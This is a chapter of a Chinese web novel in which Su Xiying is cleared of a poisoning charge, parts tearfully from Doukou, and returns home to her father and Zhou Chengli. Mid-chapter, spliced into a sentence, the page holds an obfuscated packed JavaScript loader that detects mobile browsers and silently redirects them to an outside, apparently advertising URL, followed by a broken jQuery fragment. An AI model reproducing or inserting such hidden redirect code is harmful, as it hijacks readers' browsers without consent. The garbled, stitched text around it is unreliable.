因为邓贺青的要求,陈县令不得已只能将他们暂时安置在县衙偏院,还寻了个大夫来疗伤。
豆蔻紧盯着大夫的神情。
“大夫,她的手怎么样了?”她轻声问。
大夫察看一番,说:“尚未伤及指骨,但这外伤也颇为严重,需要外敷内服。”
豆蔻松了口气,大夫出去后,她蹲下来看着苏喜英的手指,心里内疚不已。
“对不起。”
苏喜英瞧着她:“本来我还能记着你说了多少遍对不起。”
豆蔻听见她与自己说话,猛地抬头看去,眼里有泪光闪烁,她低喃道:“英姑......”
“既然如此,为何又要来?”苏喜英盯着她的眼睛问。
豆蔻垂下头,声音里含着自嘲:“我原本以为他们没有证据,是不会把你怎么样,最终只能放了你,可我没想到他们会屈打成招。”
“你就没想过,万一他们查起来,查到你怎么办?”
豆蔻抬起头:“我......”
她确实没想过,甚至抱有侥幸心理,因为马钱子不是寻常毒药,它是味药材,多食才会中毒。
苏喜英看着她:“是有人背后指使,他们目的就是我。”
豆蔻诧异:“什么?”
苏喜英想起那天,那个衙役对她说的话:“哥跟我说,张二狗去过苏府。”
“我怀疑是苏月霜背后捣鬼,毕竟那次我让她颜面尽失。”她猜测着。
豆蔻疑惑:“那若是这样,邓大人又怎么会突然来此?”
苏喜英也不明白,她原先认罪的条件是见苏志才,从苏志才入手,但还没见到,就来了个邓大人,似乎还搅乱了县令他们的计划。
她回想方才那位邓大人,她的感觉与第一次见到周成礼时很像,不像是这里的人,估计是别的地方的高官,然而这样,他的介入就更奇怪了。
豆蔻喊了几声,苏喜英才回过神:“怎么了?”
“这个邓大人似乎是个好官,他定能明断。”豆蔻肯定道。
苏喜英瞧着她,她心里明白,若是明断,豆蔻便逃不掉了。
豆蔻也瞧出她的想法,她笑了下,安慰道:“英姑,我这一生能与你做朋友已是十分知足,我不怕。”
苏喜英眼睫颤栗,她眨了下眼,喉咙发紧,说不出话来。
她们在那待了两日,最后的结果是苏喜英无罪,但豆蔻确实涉及下毒嫌疑,需要被带往圣都做决断。
苏喜英听到这个结果时,人都懵了,她找到邓大人:“为什么要去圣都?”
邓贺青将手里的鱼食撒了一些,池塘里的红鲤全都围了上来,争抢着。
“涉及命案,草率不得。”
苏喜英急道:“可是不都调查清楚了吗?张二狗本身就害过人,况且是他威胁在先,豆蔻只是自保。”
邓贺青拍了拍手,转过身,一双桃花眼勾起:“她利用你,你还要帮她?”
听到这,苏喜英怔住,随即说道:“这与她无关,是有人想要我死,她也是被利用的。”
说完她抬头盯着他:“去了圣都,她会死吗?”
邓贺青勾唇,摊摊手:“我不知道啊,可能杀人偿命,也可能自保无罪。”
他的模棱两可让苏喜英心里沉了沉,她想了片刻:“我也去圣都,我去做人证。”
邓贺青眉头一挑,本还想逗逗她,见她如此认真便也不再开玩笑:“放心,此去圣都,我只能保证她无性命之忧。”
苏喜英紧盯着他,没看出他在说笑,却还是不放心:“您拿什么保证?”
邓贺青怔住,笑出声:“还是第一次有人怀疑我。”他托着下巴想了片刻,“确实没办法给,你信便信,不信便罢。”
苏喜英心里是相信他的,因为他的到来,铲除了红叶县的毒瘤,陈县令他们落马之后,她才知道他们自以为的父母官,底下是烂透了的污腐。
苏喜英本以为豆蔻还能跟自己回一趟苏家坡,不成想邓大人要尽快赶往圣都,她和豆蔻的分别也变得匆促。
“大人,这个可以拿下来吗?”苏喜英看向邓贺青。
邓贺青顺着她指的方向看去,弯了下唇:“她现在还是要犯,不可以。”
无奈之下,苏喜英想扯些布料包裹住她的手腕,但手指被裹成粽子,使不上力气。
豆蔻轻轻地握住她的手臂:“英姑,不用,我没事。”
苏喜英眉眼低垂,还在继续撕扯着衣角。
豆蔻鼻子一酸,想抱抱她,又怕自己的锁链碰到她的手。
“英姑,如果还有机会......”她声音哽咽,“我还能做你妹妹吗?”
她说完就垂下头,眼角的泪滑了下来。
苏喜英停下手里的动作,缓缓地抬起眉眼,她伸出手轻轻地擦了下她的脸颊,扯出笑:“你永远都是我妹妹。”
豆蔻一下子绷不住了,她捂着脸,声音支离破碎地从指间渗出来。
......
豆蔻离开后,苏喜英就被送回了苏家坡。
她从被抓走,已有四五日没有回来了,苏喜英站在门口,拂了拂衣服,又理了一下鬓发,最后弯着唇角推开院门。
一进来她就瞧见树下坐着的苏老爹,背对着这边。
苏喜英咳了一下,喊道:“爹。”
苏老爹身子一僵,他不敢回头,这些天他总是梦见英姑,有时是人,有时又是......
他双手颤抖,心想这是白日,他是在做梦吗?
苏喜英见自己老爹没有反应,又唤了一声。
苏老爹这才缓慢地转过身,在看见她的那一刻,浑黄的眼里一下子便蓄满了泪,他忙不迭地站起来,因为腿脚不稳身子猛地往前一栽。
苏喜英瞧见了,吓的立马跑过去,还没等她到跟前,苏老爹便被扶住。
她松了口气,看向周成礼,有些日子没见了,乍一见到,她还有些许不自在。
周成礼扶着苏老爹走过来,他视线落在苏喜英的手上,很快又移开。
苏老爹泣不成声,他伸出手却不知落到何处:“怎么伤成这样?”
苏喜英抬起手,笑了下:“没那么严重,是那个大夫非要裹成这样的。”
苏老爹乜她一眼,又不舍得呵斥她,只低低说一声:“回来就好,回来就好。”
随后他扯过周成礼的手,说:“你们两个聊,我去做饭。”
周成礼顺着他的力道走了两步,站在了苏喜英面前。
他抬眸看了她一圈,确定没什么大碍才挪开视线。
苏喜英摸了下鼻子,她走到桌边坐下来,伸手去拿茶壶。
周成礼跟着她走过来,提起茶壶,倒了碗水递到她面前。
苏喜英看着桌面:“谢谢。”
周成礼没有说话,坐在了她对面。
“你——”
“你——”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15193538|165605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
沉默片刻,二人又同时开口,继而又是闭口沉默。
“你先说。”苏喜英开了口。
周成礼迟疑了一下,问了个无厘头的问题:“你还好吧?”
苏喜英起先一愣,以为她问自己被关的事情,点点头,语气轻松:“很好,他们也拿我没办法,我跟你讲我们县令就是大贪官,这次来了个圣都的邓大人,好像是负责查他们这些贪官的,直接一下子把县衙抄了底。”
她一口气把这些日子的事情说了出来,只是避开了豆蔻的事情。
周成礼听着她说,目光锁在她的脸上,能看出她在隐藏。
苏喜英知道面前人的视线在自己身上,她不与他对视,不想暴露自己心里真正的想法。
周成礼开口打断她:“你怨吗?”
苏喜英霎那间没了声音,她敛着眉眼。
她知道周成礼的意思,但还是打着哈哈,顿了一会她说:“当然怨!那狗官收了钱,要替人拿我命。”
周成礼知道这些事,但他还是想知道她的回答,于是又问了一遍。
苏喜英皱了下眉,她不想提起这件事,奈何他一直逼问,她便抬眼看去。
“你是想知道我怨不怨豆蔻吗?”她语气冷淡,又说,“怨她利用我?还是欺骗我?”
周成礼眼底情绪涌动,他锁紧她的视线,问道:“你怨她欺骗你吗?”
苏喜英垂下脑袋,脸微微垮起:“我不想说,你为什么总是问呢?”
周成礼不再逼问她,退了一步:“好。”
苏喜英听到这个回答,还挺错愕,也没料到方才还步步紧逼的人,现在又这么快松口。
“你不想知道了?”她问。
周成礼看着她:“你会说吗?”
苏喜英一噎,她将双手放在桌上:“也不是不能说......”
“那你说说。”周成礼话跟上。
苏喜英抬眼瞥他一下,随即又收回视线,盯着手上纱布的纹路,轻声道:“说实话我不怨她,如果是我幼时遭遇了这么多的事,还遇到了张二狗那样的人,我可能会做出更过分的事。”她顿了一下,“只是她不够狠心,如果她不出现,也不会被带走。”
随即她想到了什么,看向周成礼:“你知道邓贺青吗?”
周成礼的情绪还在她方才的那番话里,一下子又跳了出来,一时没接上。
苏喜英见他没回答,叹口气:“我忘了你都不记得以前的事,就算记得应该也不知道。”
周成礼看着她垂下的脑袋,说:“邓御史是个值得信赖的人,他说的话可以相信。”
苏喜英猛地抬起头,诧异:“你知道他?”
周成礼愣了一下,旋即解释:“听说过。”
苏喜英又问:“那他会用刑吗?”
周成礼再次愣住,没明白她的意思。
“豆蔻被他带走了,他说会保她性命无忧,但没说不伤。”
周成礼认真想了片刻,答:“会。”
苏喜英一下子站起来,结果眼前一黑,她身子晃了晃。
周成礼立马接住她,等她睁开眼,才放开她:“我意思是他在特定情况下会用,不会滥用。”
苏喜英头还是一阵发晕,她把手搭在他身上,有气无力地说:“不早说。”
随即她摆摆手:“不行,我要睡一会儿。”
说完就转身往屋里走,还没走两步,就整个人栽了下去。